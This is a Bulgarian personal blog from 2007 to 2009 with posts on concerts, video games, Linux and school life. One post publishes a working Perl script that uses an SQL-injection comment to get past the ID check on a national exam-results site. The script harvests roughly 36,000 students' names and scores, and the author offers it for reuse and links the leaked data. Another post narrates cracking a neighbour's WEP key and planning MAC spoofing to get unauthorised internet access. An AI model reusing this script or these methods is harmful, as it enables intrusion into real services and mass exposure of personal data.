/var/log/krastin

wander

2009-05-22T03:07:00.002+03:00

Чак когато ти писне от всичко на земята, тогава ще отправиш поглед към звездите.

Затваряш вратата, виковете заглъхват. Тръгвате, събеседника ти води монолог. Добавяш нещо.

След малко оставаш сам, продължаваш в тъмницата. Нейде в далечината мъждука улична лампа, а над теб се разкриват звездите.

Отново изминаваш пътя само заради самия него. Дестинацията не е от значение, понеже веднъж пристигнал, пак ще впериш поглед в следващата цел. Така де, в следващото пътуване.

Вече пристигнал, осъзнаваш че може да си там горе, и да обикаляш от една звезда на друга... вместо по тези тъмни улици, от една мрачна къща - на друга.

брях, ква била `ралтата`

2009-04-15T21:30:00.003+03:00

Осени ме идеята защо, аджеба, не се пеня вече в тоя блог и не плюя високопоставени лица и/или нискостоящи морали....

Лейдис енд Джентълмен - аз не ходя на училище вече половин година! [туш]

Явно академичната обстановка в университета, колкото и идиоти да продължава да има наоколо, си казва думата. И после бъдещето не било светло...

А, да, и има wireless навсякъде. То и това само стига :D

Firewind

2009-01-12T01:48:00.000+02:00

Кой не е чувал Firewind, кой не е слушал за тях?...

...особено след паметната вечер на 18 април 2008, когато бяха подходяща прелюдия за Kamelot. Та още тогава, дори и смътно, ни осеняше идеята че най-вероятно ще ги видим отново. Този ден мина и замина, и това, което ще остане от него, освен спомените, са много снимки, автографи и подобни бездарни драсканици на съмнителни летописци като мен.

Походът започна на 9 януари, в 16и30. След като бях станал преди около 2 часа, и бях хапнал нещо преди около 1, врътнах ключа и снегът заскрибуца под краката ми. Не след дълго под същите скрибуцаше някакъв винкел на буса, а след още малко - на трамвая. Към 17ч и нещо слязох на центъра, зад съда, и съживен от студа, се отправих с бодри крачки към клуб BlueBox. Който пък се оказа малко след централна гара. Вече беше почти 18ч, а ние бяхме застанали пред малкия вход на стара соц сграда, която освен по типичната алуминиева дограма от 70-80те, по нищо не може да се познае че е зала и че въобще се провеждат/са се провеждали културни мероприятия в нея. Бидейки фанатизирани фенове, постоянно се оглеждахме за някой заблуден музикант, от който да изкрънкаме по някой автограф, ала бусът вече стоеше пред залата когато пристигнах(ме) и по всичко личеше че сме изпуснали 'влизането'. След неопределено време някакъв чичка дотърча, крещейки че се е снимал с вокала, и веднага контриран с въпроса "Къде?", обясни че групата се била изнизала от задния вход и отишла "да хапне нещо", но след концерта щяла да ни обърне внимание. Въпреки че чичката вече беше на градус, снимката не лъжеше, и затова всички се оживиха и суетнята стана още по-голяма. След като вече минаваше 19и30, а тълпата се беше разрастнала и негодуваше че я държат на студено, отвориха портите и стана чудо! Всъщност стана меле и доста хора увиснаха във въздуха от напора, идващ отзад. Това не ни попречи да се вредим измежду първите и веднага след това отново зачакахме, във фоайето, пред самата врата на залата. Една бърза разходка до гардеробната, и олекнал с няколко кила от коженото яке, и съвсем безкомпромисно изтласкван напред от тълпата, влязох в залата. Не успях да се вредя за 1ви ред, но намерих място зад едни ниски първоредци и работата се уреди. Към 20 и нещо първи излязоха сънародниците от Project Arcadia. Сносна група, която, както научих постфактум, не бяха свирили наживо досега. Но пък израдваха тълпата и вече на сцената идваха 'талянците от Eldritch, които пък нещо не ме грабнаха, не свириха лошо, но не ме грабнаха. Изтърпях ги някак си, а после сцената се опразни, и само техниците подготвяха инструментите. Трябва да се отбележи за тъп гаф на същите, когато се опитаха да настроят синтезатора на iBob: мъчеха се, мъчеха се, та накрая самия Bob излезе, бутна 2 копчета и го оправи. За 5те си седкунди на сцената, той получи окуражаващи аплодисменти и подсвирквания от по-внимаващите в тълпата. И ето че зазвучава акустичното интро от Into the Fire, и ето че силуетите шават там в тъмнината, и ето че Firewind са на сцената и това, за което сме дошли започна! След това всичко ми е размито, просто публиката се взриви от кеф, и последваха много парчета от новия албум, и няколко от старите. Също както на концерта на Камелот, съдейки от спорадичните безпричинни усмивки на лицата им, бе видимо че гърците се кефеха на подивялата публика, и публиката се кефеше още повече че групата им се кефи. Затворения цикъл на този параграф-22 беше оказа голям ефект върху музикантите и на няколко пъти вокала Apollo и китариста Gus падаха на колене на ръба на сцената и почти лягаха върху гората от ръце, простряна към тях. Не е нужно да се споменава с какво те зарежда пипването на китарата му, при това докато човека си свири.
След биса дойде време да си ходим, но нали сме упорити, решихме да се повъртим малко из фоайето на залата. На мен ми щукна да излеза да проверя зад залата, дали firewind няма да се измъкнат през сервизния вход. Естествено, там имаше само мръсни коли и кален сняг. Тъкмо влизам обратно в залата и се оказва че те си застанали зад мърч щанда и си дават автографи и снимки... Парадоксално, този момент като че ли беше по-добър и от самия концерт, хех. А пък концерта беше на ултраниво (тук вече си признавам, че е на едно ниво с този на Камелот). Така че се надявам че добивате представа за какво иде реч. Обрахме всички автографи и снимки, освен с басиста, който по незнайни причини се беше каширал нейде. Веднага прави впечатление отношението на групата, много земно и приятелско, а Gus и Apollo, след всеки автограф и/или снимка, се ръкостискаха с феновете и постоянно повтаряха Thank you, thank you. Е как да не ги заобичаш :D На всичкото отгоре успях да придърпам клавириста Bob и веднага, ухилен до уши, му отпрах ударния въпрос "Кога смятате ли да дойдете пак?". Той ми разясни че едва ли ще е тази година, понеже сега записвали нов албум (оу йеа), който щял да излезе началото на 2010, но нека да бъда сигурен че ще се върнат, а и вече имали записани 3-4 песни от новия албум. После обясни, че не били спали от два дни заради пътуванията, и изрази надеждата си че сме останали доволни от концерта. Аз щях да направя комента от сорта на "А вие доволни ли останахте от нас?", но в същия момент една групичка го отмъкнаха за снимки. Успях да побъбря и с Apollo, който има неочакван глас наживо. А може-би е бил пресипнал от пеене. Както и да е, той не беше толкова щедър с детайлите за новия албум, но пък също обеща че няма да ни се размине второ гостуване. След това всички си тръгнаха, ужасно изтощени, защото и групата, и публиката се бяха раздали до краен предел.
1:49AM 12.01.2009

Матурки, Матурки, Мад....

2008-10-15T16:41:00.005+03:00

Фанфари свирят, червения килим се развърта по земята, и изведнъж се появявам аз, пристъпващ бавно-бавно с безжичен usb адаптор в ръка...

Това не е някой от странните ми сънища, а самата реалност, защото:

Реших да съживя тая развалина, наречена блог.
Все още карам на публични(разбирай чужди) безжични мрежи за интернет в София.

И докато втората причина е съвсем обяснима ("пари нема, действайте". Тъй, тъй, чичо Годжи) то първата е мъглява и мистична като дълбок планински вир в пролетна утрин. Най-вероятно поради липсата на поприще за изява на потиснатия ми креативитет. Звучи ужасно комплексно, пък всъщност става въпрос за нищо кой-знае какво :D Но стига толкова въведения.

И преди да съм нападнат за несъответствие на заглавието с текста, независимо че няма от кого, ще се измъкна и ще продължа по същество. Оставам верен на себе си и представям поредната geek-щина от себе си, а именно: скриптът, с когото източих (почти) всички резултати от матурата. Писан е на Perl и се нуждае от 1-2 библиотечки, който се инсталират за 0 време през CPAN. Скрипта го търсете на дъното ->

Трябва да уточня че става дума за първите матури - септемврийските не ме интересуват. Източете си ги сами със същия скрипт. Лиценза е GPL. Абе ако щете го крадете, поне ще научите нещо за Perl.

За да не кажете че си измислям, тук публикувам и тези всичките резултати в няколко удобни формата. Внимание, файловете съдържат по 36000 записа, така че не се чудете защо ви забива Word/Excel/SQL-a/т.н. Свали версия: Excel SQL CSV XML

И преди да съм арестуван от ГДБОП и всесилната ръка на закона(протегната от кмета, естествено) да ме е сграбчила за usb адаптера, само ще добавя че тези файлове не съм ги качил аз, а един приятел, така е че негова (евентуалната) вина. Той се казва Руперт Циско, за по-кратко му казваме Прокс. (Както гласи песента на Ъпсурт) не питай защо!

Connection Lost. Wireless network out of range...


#!/usr/bin/perl

#----- библиотеки
use lib qw( ..);
use HTML::TableExtract;
use LWP::Simple;
use Data::Dumper;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use DBI;
require Encode;

#----- инициализации, блабла
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 8.0 blah...");
$name="";
$number="0";
$test1="";
$test2="";
$ocenka1="";
$ocenka2="";
my $check = "<td bgcolor=#F5F5F5 class=\"style3\"><strong>";
$broi = 0;
$idstart = 1000001; #кои е номер 1 в листа? xD
$idend = 6500000; #последния в листа
$idnow = $idstart;
$nosuchid = 0;
$thisonefails = 0;

#----- айде на SQL-а
my $dsn = 'DBI:mysql:spider:localhost';
my $db_user_name = 'spider';
my $db_password = '';
my ($id, $password);
my $dbh = DBI->connect($dsn, $db_user_name, $db_password);
$dbh->do("SET NAMES 'utf8'"); #тая кирилица от записите е много кофти


while($idnow <= $idend) {
   print "now trying $idnow ... ";
#----- отваря страницата и резултата с помощта на SQL инжекция в кода
   my $req = (POST 'http://rezultati.zamaturite.bg/rezultati.php',
   ["EnterNumber" => $idnow . " --",
   "EGN" => "1"]);

   $request = $ua->request($req);
   $content = $request->content;

#----- тест дали номера на кандидата се използва (ако не, няма таблица (с резултатите) в текущата страница)

   #print "checkin for validity of ID $idnow...\n"; #за по-голяма приказливост, или както му викат нормалните хора - verbosity
   if(index($content,$check) == -1) {
   #    die("No such ID!\n"); #дрън-дрън
       print "failed! \n";

   #----- Алгоритъмче за превъртане на километража, така де, номера

   #----- След 20 неуспешни локални номера (последната тройка) ->
   #----- се мятаме на нов локален идентификатор (втора двойка числа)
   #----- или нов градски индентификатор (първа двойка числа)
       if(++$nosuchid == 20) {
           my $p3 = substr($idnow, 4);
           my $p2 = substr($idnow, 2, 2);
           my $p1 = substr($idnow, 0, 2);
           if( $p2 == '99' ) {
               $p3 = '001';
               $p2 = '00';
               $p1++;
           } else {
               $p3 = '001';
               $p2++;
               if($p2 == '1') { $p2 = '01'; }
           }
           $idnow = $p1 . $p2 . $p3;
           $nosuchid = 0;
       } else {
           ++$idnow;
       }
       next;
   }
#----- главен цикъл//живот

   $nosuchid = 0;

#----- ----- "прочети" таблицата
   my $te  = new HTML::TableExtract( depth=>1, count=>1, gridmap=>0);

#----- ----- а сега разпредели и оразумей прочетеното -> Име, номер,
   $te->parse($content);

   foreach $ts ($te->table_states)
   {
   #    print "dumpin table xD\n";    #дрън-дрън приказливост
       foreach $row ($ts->rows)
       {
           $broi++;

       #    бла-бла още приказливост
       #    print "dumpin row xD\n";

       #    кофти кирилица
           if($broi == 3) { $number = Encode::decode( 'cp-1251', @$row[1] ); }
           if($broi == 4) { $name = Encode::decode( 'cp-1251', @$row[1] ); }
           if($broi == 7) { $test1 = Encode::decode( 'cp-1251', @$row[0] ); }
           if($broi == 8) { $test2 = Encode::decode( 'cp-1251', @$row[0] ); }

       #    приказлив като стара лелка
           #print Dumper $row;
           #print @$row[1] . "\n";
           #print Dumper $row if (scalar(@$row) == 2);
       }
   }

#----- ----- извлечи ми точки за първи изпит (български)
#----- ----- "прочети" таблицата
   my $te  = new HTML::TableExtract( depth=>2, count=>0, gridmap=>0);

#----- ----- 'земи точките
   $te->parse($content);

   foreach $ts ($te->table_states)
   {
   #    print "dumpin table xD\n";
       foreach $row ($ts->rows)
       {
           $ocenka1 = substr(@$row[0], index(@$row[0], ".") -2, 5);

       }
   }

#----- ----- извлечи ми точки за втори изпит (избирателен)
#----- ----- чети таблицата!
   my $te  = new HTML::TableExtract( depth=>2, count=>1, gridmap=>0);

#----- ----- земи точки!
   $te->parse($content);

   foreach $ts ($te->table_states)
   {
   #    print "dumpin table xD\n";
       foreach $row ($ts->rows)
       {
           $ocenka2 = substr(@$row[0], index(@$row[0], ".") -2, 5);

       }
   }

 

#----- а сега да почистим записите на тия лентяй от ненужни интервали
$test1 =~ s/^\s+//; #махаш начални интервали
$test1 =~ s/\s+$//; #махаш крайни интервали

$test2 =~ s/^\s+//; #махаш начални интервали
$test2 =~ s/\s+$//; #махаш крайни интервали

$ocenka1 =~ s/^\s+//; #махаш начални интервали
$ocenka2 =~ s/\s+$//; #махаш крайни интервали

#----- не помня кво съм правил тука, прилича на чистене на интервали
#    substr($test1, 28, length($test1), "");
#    substr($test1, 0, 1, "");
#    substr($test2, 0, 1, "");

   print "Name: " . $name . "\tNumber: " . $number . "\n";

#-----    още приказливост
   #print "Test1: " . $test1 . "\tTest2: " . $test2 . "\n";
   #print "Ocenka1: " . $ocenka1 . "\tOcenka2: " . $ocenka2 . "\n";

#-----    ръч в базата данни
my $sth = $dbh->prepare(qq{
   INSERT INTO maturi (nomer, ime, test2, ocenka1, ocenka2) VALUES ($number, \'$name\', \'$test2\', $ocenka1, $ocenka2)
});
$sth->execute() or $thisonefails++;

#----- increment counter
   if($thisonefails != 1) {
       $idnow++;
       $thisonefails = 0;
   }
#-----    първо си мислех че sql-а ми дропи заявките от натоварване, а то
#    се оказа че някои гении нямат втора или първа оценка или нещо подобно,
#    и заявката се дъни поради липса на параметър. Оставих го за всеки случай.

   $broi = 0;
   $name = $number = $test1 = $test2 = $ocenka1 = $ocenka2 = "";
}

На абордаж!

2008-02-05T21:11:00.000+02:00

В един мъглив и на пръв поглед безинтересен ден решавам най-накрая да видя, аджеба, колко безжични мрежи мога да уловя вкъщи. Ловенето на безжични мрежи, или както го наричат някои - wardriving, е приятно хоби, като се има предвид че се различава коренно от ловенето на пеперуди, ловенето на тъпи мисли, циркулиращи в главата ви, или ловенето на бацили/вируси в градския транспорт. Не са ви нужни аналогови пособия, освен ръце с пръсти, за да дрънчите по клавишите на клавиатурата ви. А ако можете да упражнявате mind control над беззащитната ви щайга(разбирай компютър, лаптоп и т.н.), то значи и ръце не ви трябват. Определено обичам дългите и объркани изречения с твърде много пояснения. Но нека продължим.
Пускам си дигиталната мрежа за улов, наречена Kismet, и първите заблудени 802.11 пакети пристигат. Оказва се в представителната ми извадка има няколко отворени мрежи, но сигналът е твърде слаб. Плюс това се отнема тръпката щом мрежата е отворена. Ние не искаме да влезем през отключени врати - на нас ни трябват ония огромни 'порти' на банковите трезори по филмите. С изненада забелязвам че даже има и 1 мрежа която ползва уж непробиваемата wpa2 кодировка. Ммм, това би било забавно. Но сега определено не ми се занимава сериозно. Търсим още нещо, по-така.

БИНГО/ЕТО/ЕВРИКА/ЕЙ-ГО-ДЕЙ/ДЖАКПОТ/ОХ-КОТЬО/
БЕЛОТ/РЕБЕЛОТ...
изберете си.

Е, намерих целта. Стабилно силен сигнал, слаба wep кодировка (която после се оказа дори само 64битова), че даже мрежата е на един интернет доставчик.
//съжалявам, но няма да спомена кой, защото ако вземете да го тормозите и вие и като нищо да спрат безплатния нет и на мен, и на вас. мързеливци xD

После следва обичайното. Сканиране за клиенти... все още няма. Хм. Пускам fake association attack... няма никой. Последва фрагментационна атака. Пак нищо. "Чоп-чоп" атака. Зилч. Client targeted chop-chop attack. Нада. Пускам лъжлива асоциация с АП-то. Не става. Ммм... Може би има МАК филтъринг? Трябва някой легитимен клиент да се върже за да му взема неговия. Докато се чудя дали да продължавам, пускам скенера/снифера да върви, че и без тва в малкото трафик може да се мяркат по някой друг уязвим пакет. Целта на занятието е чрез определен вид атака да увеличим до ненормално голям брой броя на уязвимите пакети, и след това да пуснем брутфорсър, който да 'източи' ключа от всичките тея уязвими пакети, като източването на ключа става като събиране на пъзел от пакетите. И докато си седя и си мисля тез работи, някакъв клиент се включил в мрежата и бичи яко трафик. И не знам какво точно е правил, но определено имаше arp трафик понеже броя на уязвимите пакети нарастваше с по 150-200 в секунда. Дет се вика - sit back and watch the work do itself. След 4 часа имах 1700000 уязвими пакета - достатъчно да кракнат 128битов ключ за 10ина минути. Пускам кракера и след 2мин ме перва по кофата като дърво когато се пребивам с мотора си - KEY FOUND! XX:XX:... Ключът бил 64 битов. Записват се всички МАК-ове на всички асоциирани клиенти в момента, за да може после когато някой от тях излезе, да се набутам най-нагло с неговия МАК. После се прави семпъл и изчистен, но паметен скрийншот и всичко това се издумва в блога.

back to how much I rule

Какво ползвам:
Fujitsu-Siemens Amilo A1650G
Back|track Linux OS Beta 3
Atheros 5005G wifi
с пачнати драйвери madwifi
Видеото е сполучливо ati x200m, вади 1280х800,
което стига за 4 терминала на екрана, оптимален вариант за използване на
Aircrack v2 и Kismet
всеки софтуер е последна стабилна SVN версия.

...and the Force shall be no more!

2008-01-21T20:28:00.000+02:00

Пф. Апатия. Ама голяма апатия. Star Wars: KotOR II се оказа разочарование... на края. Чувствали ли сте се излъгани? Измамени? Вървяли ли сте седмица в пустинята само за да разберете че сте не сте стигнали никъде? [сарказъм] Точно такива приятни и абсолютно 'не-пораждащи-агресия' чувства ме налегнаха след като изгледах края на въпросната игра. [/сарказъм] В цялата игра има 2 вида край - ако си бил 'лош', през по-голямата част от времето, а другия - ако си бил добър. И стотиците избори, които си направил през тези 60 часа игра нямат абсолютно никакво значение. Което е плачевно, при положение че измежду тези избори е дали да спасиш планета, дали да се влюбиш в който трябва, и в когото - не, дали да убиеш един от спътниците ти, дали да се откажеш от 'Силата' и т.н. Недопустимо е от гледната точка на играта, която така изкусно се нагажда по изборите ти. Всеки знае че живота не е черно-бял, та да има само 2 развръзки. А пък може би е... във филмите (и игрите) на Лукас.

the matrix speaks again

2008-01-14T23:44:00.000+02:00

Why, why, mr. Anderson...
Или на бг "Защо.... Слави, Защо?..."
Защо винаги така се получава, решавам да се заема с игра когато имам най-малко време, а играта в случая една перла, един брилянт на фона на всичко останало, което съм играл напоследък.
Star Wars: Knights of the Old Republic 2
Толкова гениално замислена история, че ако беше книга - не бих се поколебал да отворя на последната страница и за впия жадно очи в последния параграф. Е, може би ще ми трябва да прочета последните *няколко* параграфа, за да разбера за какво иде реч, но определено бих го направил. Защото историята в тази игра е най-голямото колело от часовниковия й механизъм, задвижващ я. Ето на - 4 часа минаха като 40мин. Искам повече игри да са като нея. Чакай... по-скоро не, иначе няма да ставам от стола си вкъщи. Мда. Отивам да спя. Утре ме чака работа и sw:kotor2.

green pastures, butterflies and psychos

2008-01-10T22:19:00.001+02:00

Върнах се. И сега ще сложа край на всичките ви спекули че [цитирам] съм бил да се запивам някъде [край на цитата]. Бях болен. И с нескрита гордост също ще споделя че мозъкът ми се пържи 2 дни с температура 39,5. Определено има нещо забавно в цялата работа, защото се скъсах да сънувам през тия два дни. Сънувах как котки се самоизяждат, как някакви домакини се мотаят вкъщи без да има причина, как се возя на празен трамвай без шофьор и само няква бабичка седи до мене(може би смъртта? яко), сънувах и нещо за Мъглиж но вече го забравих, сънувах и Марин с метъл тениска на Ангра. Ама много странна беше тениската, една такава 'фешънска', пък отдолу й пише "Ангра", ама със такъв шрифт, какъвто пише Christian Dior или т.н. Абе фешънска тениска с фешънски шрифт, ама пише Ангра. Чудно.
И самото ми състояние също беше забавно. Понеже ме боляха очите да гледам, затварям ги, и после като ги отворя се оказва че съм бил 'проспал' 10ина-15 мин. Същински blackouts.
Само след обстоен пре-предглед на състоянието и уменията ми в Call of Duty 4 заключих че не съм увреден по никакъв (освен може-би психически, но това не е нищо ново) начин. И нали съм шибано копеле, взех си бележка за тази седмица, въпреки че вече съм ок. И нали съм шибано копеле без късмет, взеха че дадоха ваканция. Пффф...
Ай до скоро прочитане.

BUGbuntu 7.10

2007-12-12T20:31:00.000+02:00

-Пфу!
*храааач*...
*плюв*
- Абре 'танасе, тва новото убунту за нищо не става бе!
- Ееее, не става, не става, ама като опря до свободна операционна система и го сложи, нали?
- Ке го сложа ама друг път ке нема да го сложа. Виж! Не ми бачка мрежата... За кво ги бих тия 700мб?...

Какъв е извода - че да си (македонски) войвода не е лесно. Но за това - друг път.
Сега за новото убунту, което противно на всички очаквания, и то не само мои, се издъни така яко, колкото и не се издъни Лорън Харис на онова мероприятие което чаках(ме) от дооооста време. Думата която определя цялото седмо поколение на тази дистрибуция е БЪГ. Винаги съм бил привърженик на debian, apt-get и цялото убунту, но този път съм до такава степен стъписан от неизползваемостта му, че дори в момента инсталирам SUSE 10.3 на лаптопа. *оп! готово е*. Не става дума за 3д ефекти на десктопа. Не става дума за 3д ускорение. Дори не става дума за разпознаване на хардуера. Всичко от горепосоченото бачка. Но, за да не е скучно, 2 програми се карат за нет връзката ми и... в крайна сметка махнах едната и изключих другата. Пускам настройка през конзолата, също както са го правили преди 16 години със 'слака'. Има ли нет? - Няма нет. Хм. Зааащо ли? Поглеждам 'ifconfig' и О, Ужас!, получил съм ip от рода на 0.0.0.0. Забавно. Да не говорим за безжичната мрежа. Хич и да не става дума за кракване на безж. мрежи. А и средата (ползвам GNOME, иначе работата е печално бъгава) е една тежка, тежка... все едно съм на 486-ица на 60MHz. А СУСЕ-то в момента върви, едно такова зеленичко, бъзичко, лекичко и... Отивам да ям макарони без захар, да слушам мейдън без Лорън, и да си цъкам на компа без убунту 7.10. А уж седмака ми е щастливо число.

iFucked

2007-12-05T12:28:00.000+02:00

Apple iPhone. С каква гордост звучи, а? Може би Apple и Microsoft са единствените компании който слагат досадното си и изтъркано име пред всеки един продукт.

Аз съм редактор в списание Х, и стане ли дума за iPhone - трябва да има Apple отпред.

Това не само е изклюючитено досадно, но и се повтаря всеки един шибан път когато прочета нещо за айфона. Ако си бях купил нещо такова щях да си му викам ВаааайФон. Ето защо.

iPhone е едно излъскано, полирано и гравирано луксозно... дърво. Направо трупче за подпор.

Какво очаквате от един телефон, та дори и да е crackberry или нокия "модел-последЕН-90 и 'нинам си колко"? Много просто. Да говорите по него, да получавате смс-и и да има форма на забавление като игрички и/или музика. А какво очаквате от телефон за $800? Още по-просто - много неща. Ако сте си купили вайфон - много голяма част от тези 'много неща' определено ще са разочарования и безмислици. Едно че при получаване на смс той веднага се изписва на екрана без никакъв срам и потайност. И това ако не е проблем със сигурността... Отделно че при вайфона няма смисъл от много сигурност, тъй като той може да обменя данни само с програмата iTunes.

О, Боже, пропуснах да добавя Apple. Apple iTunes. Дано от Apple са заети да добавят поддръжка на прост файлов браузър за жалкото си подобие на телефон та да не ме забележат.

Има ли смисъл през две хиляди и седмото лето Господне да се пуска такова технологично недоразумение? Защо недоразумение? Защо ли? Защото ако в харакатеристиките пише че има bluetooth, то вие и аз очакваме да можем да правим всичко през него, а не просто да се окаже че можеш да си свържем хендсфрийто през него. И то с моно звук. МОНО. Май думата моно и думата $800 не си подхождат особено.
Друга гениална липса на функция е видео запис. За какво аджеба ви е многопикселова камера като не можете да снимате клипче? За снимки, защото всеки вайфон юзър е снимков естет и надарен фотограф, имайки предвид тоталната липса на каквито и да е опции за снимковия режим, освен 'Нощен Режим'. Мдаа, в тъмното вайфона поне не се набива на очи на разкайващия се купувач.
Споменах ли че няма никакви игри? Само вградените. Първи постулат на Бор-Чвор Джуниър:

(PSP със стабилно количество заглавия) + (един прост телефон) = (цената на вайфон)/2 + 3х(функции).

Липса на какъвто и да е офис пакет, липса на четец на каквито и да е файлове, просто защото няма интерфейс за дисковото пространство. Вайфона е също закодиран в САЩ, страната на неограничените недомислици, и не на последно място ефектен тъчскрийн който се 'напипва' след 5мин работа.

Страхотно, чувствам се като ваксаджия. През 5мин трябва да трия в несвяс.

Има и още. Но аз нямам време за губене, ни най-малко заради този боклук. Ако искате да сте 'фиешън', купете си вайфон и го размахвайте наляво-надясно. Защото за друго той не става. Ще кажете - ами къде останаха музиката и филмите? Емиии.... ще си сваляме, както казват 'Индрей и Айван', ама НЕ!, защото можете да добавяте музика само чрез iTunes, а филми - също. А те там са платени (само за САЩ, естествено). Защо тогава не си купите един прост плеър който ще ви върши същата работа? И не става дума за iPod, което просто е плейр с вграден харддиск, и те така е по-голям капацитета му. Ти знаеш ли какво е multimedia player, equipped with a minimallistic hard drive? Но знаеш какво е iPod, нали? Е тва имам предвид.

Apple sucks. iPhone sucks. Купете си гето-бластер и слушайте музика.

Союз нерушимый республик свободных...

2007-11-22T20:41:00.000+02:00

Чудели ли сте се някога каква е политическата принадлежност на линукс, Линус Торвалдс и open-source програмистите? Look no further, ето и ето :D

Последни новини. Взех си листовките. Най-забавното нещо бе да чакам резултатите час и половина. Но поне си струваше. През това време се запознах с доста народ, и доста тъп при това. Ама селяни, кво да ги праиш... Особено интересен беше квестора, или както там се казва. 50ина годишен, прошарен, но висок поне 2и10 и с ex-military външен вид. Опитвашесе да ръси майтапи, и се опитваше да не си удари главата в тавана. Не успя и в двете начинания. Но аз ще успея. Ето ви майтап1, майтап2. Велик съм.

"... и отката го дига ногу"

2007-11-20T21:28:00.000+02:00

Даа, предишното клипче не бачка. Явно не им бачка embed-a на тея от vbox-a. Та след като превъртях Call of Duty 4 за има-няма 10 часа, оставам много доволен. Още по-доволен пък оставам от мултито му. Освен всички нововъведения, добавени са и гениалните "Perks". Това са специално бонус-умения, който имат за цел да ви идентифицират из тълпата други бойци край вас. Вече сте различни не само по оръжието и скина. Например: Last Stand е умение с което, когато ви убият, вадите пищова и имате около 20 последни секунди, повален на земята, за да напълните с олово вразата, усмъртила ви, а защо не и още някой друг? "Аллах акбар" варианта на горното умение се нарича "Martyr", и автоматично пуска една хубава, зеленичка граната тип "ЛИМОНКА" в случай че ви светят маслото. Кой от двата ще използвате - зависи от вас. Сега смятам да я преиграя на предпоследното ниво на трудност, а последното ще си запазя за някоя безсънна вечер с приятели... и бира :D

Is there a problem, Mr. Anderson?

2007-10-25T19:52:00.000+03:00

Забелязах че блога ми понякога се чупи, ако се гледа с Internet Explorer. Бих искал да се обърна към човека, правил темплейта. Да речем че той се казва г-н Блогър Деебатаякриванивов. Другия път като пишете темплейт, г-н Б.Д., поне го напишете съвместим с все още най-разпространения браузър. Пак по кода трябва да бърникам, ей...

edit:
Май го оправих. Ако има нещо, надявам се все някой да пише. Ако сте с експлорер-а, то 'вън!' и не се връщайте без firefox :D

Enough tinkering with this shit... It's time for Java! yay!

Я! Трийсет и три...

2007-09-25T22:41:00.000+03:00

Днес ходих на фитнес с Даката. Естествено не липсваха и простотии, като най-запомнящите се ни вкараха в 'смешна кома', с признаци на неадекватност и причерняване пред очите. Та идва някаква 'кака' и почва да говори с фитнес инструктора, като е явно че си няма представа от... силовия спорт. Е, инструктора това го прозря с учудваща бързина, имайки предвид колко малоумно изглеждаше. След някакви странни упражнения с дъмбели последва купона. Докато си свършим серията и тоз вече я беше 'покатерил' на някакъв уред на който тая буквално си беше вдигнала краката в "онази" поза, а пък оня съвсем кротичко си наблюдаваше гледката. Усмивката на лицето му беше... уникална. Хаха, гадно копеле такова...
След това, съвсем случайно минавайки край кантара станахме свидетели на второто изтъпление. Всъщност кантара, дори и електронен, е много просто изобретение. Стъпваш и гледаш. Ала за две момичета явно не беше, след като едната, стъпвайки на него, не го нулира, и естествено той показа грешка от вида на ЄЄ, което ще рече error. Грешка. Смеха избухна когато оная рече с невероятно учудване: "Я! Трийсет и три..."

All over again...

2007-09-24T20:38:00.002+03:00

"Светът мълчи, мълчи и ти!"

И така... Започнах отново даскало (този път за последно! хаа-хаа /истеричен смях/) и отново поех обичайната си доза тъпня. Готови? Старт! В настроение съм да плюя тунайт.
Защо подяволите, в името на целия UTF-8 енкодинг и шестнайсетичната бройна система, нашето даскало и само още едно НЕ стачкуват? Ммм, нека играем на "риск - губи, риск - губи", нали така разсъждават възрастните? Та въпросните "училища" (смешно е), а именно ГПЧЕ "Ромен Ролан" и ПМГ "Гео Милев" не са се дигнали на бунт, о люде заспали с тях. Мога да предложа причина:
Някой спъва работата.
Но да се спъне работата на толкова много даскали не е лесно. Тогава вадим теорема 2:
Някои спъват работата.
Като нищо повечето от тез хора да имат власт над даскалите. От което вадим 3ти постулат:
Някои важни клечки спъват работата.
И след като синдикатът е ЗА стачката, значи причината ще е на локално ниво. А след като в града само нашите даскала не стачкуват, значи причината е във клечоците в самите училища. Не е нужно да си логик за да разбереш че именно директорите имат пръст в цялата работа. И имайки предвид и че нашата директорка води доста диктаторски и комунистски режим, явно големия лош опресор се е инкарнирал в нейно лице. Нищо чудно даскалята да ги е страх за работата им. И без тва взимат малко пари, нека да не ги подлагат на риск. Естествено, има и други причини. Пример: небезизвестен даскал по математика в ПМГ Гео Милев, който дава частни уроци та чак си скъсва гъза (Светът е вулгарен, бъди вулгарен и ти!), и има доходи да отива всяко лято на почивка на чужд южен плаж в чужбина, ала в училище ходи с една и съща риза от 5 години. На мен не ми пречи този фактор, може би защото не го доближавам често. Пречи ми факта че ако бях в неговия клас той щеше демонстративно да ми пише СЛАБ(2) и да ме изнуди да му ходя на уроците, както прави с болшинството от ученици. И ако не се подчиня, то бъдещето ми (или БАЛ-ът ми, но първото звучи по-драматично) ще бъде съсипано. Защо? Защото той има властта. И никой не го е еня, дори и директорката. Който държи кинтите, той определя правилата. И все пак има и свесни даскали, който като миража в пустинята, присъстват, ама цялата работа няма кяр от тях. Вярно, и миража, и добрия даскал те карат да вървиш напред из пустинята и да загърбиш моментните обстоятелства, но вечно така не може. Рано или късно ще се откажеш да преследваш/слушаш този мираж/даскал. А питам се защо никой от вас (не визирам миражите) дори не направи опит да ни обясни как стоят нещата със стачката? И ние сме хора, и ние имаме родители даскали. Можеше учениците да стачкуваме. Но не - в нашата родина креативното мислене води само до линч. Все пак кой щеше да ни каже нещо - ние щяхме да стачкуваме за заплатата на тези които би трябвало да ни накажат. Така че симбиозата би била гарантирана, и щяхме да изкараме министъра от това моментно състояние на инат в което се е подхлъзнал, паднал и не може да излезе, също като в яма с лайна (Светът е брутален, бъди брутален и ти!). Нека да си мълчим и нищо лошо няма да ни се случи. Е, слава Богу че Левски, Ботев и още шепа народ не са мислили така.

Тъй глупецът, тъй залита
да прекара добър живот,
и никога не се пита
човек ли е той или скот!

Скот - може би не. Но пионка в системата - да. Безмозъчна, търчаща всяка сутрин в 7 и 30, повтаряща материала отново и отново и отново. Всеки вика против системата, но всички си я следват стриктно. Всеки е недоволен от заплатата си (не от уроците), но всички пак си работят и никой не стачкува. Нека да ви дам пример: пиша си тук против директорката, но нищо няма да й обеля. Кой е страхливеца? Аз. А кой го е учил и служил за пример?

Светът е пълен със заспали, спи и ти!

Обратно от морето

2007-07-25T00:21:00.001+03:00

Доста неща се случиха за 9 дни, като най-важното според мен е, че не бях сядал на комп. Чак взеха да ме болят очите от липсата. :D
Но в общи линии нещата са това:

Видях как пиян възрастен пада от банан в морето (в текущия момент банана не возеше)
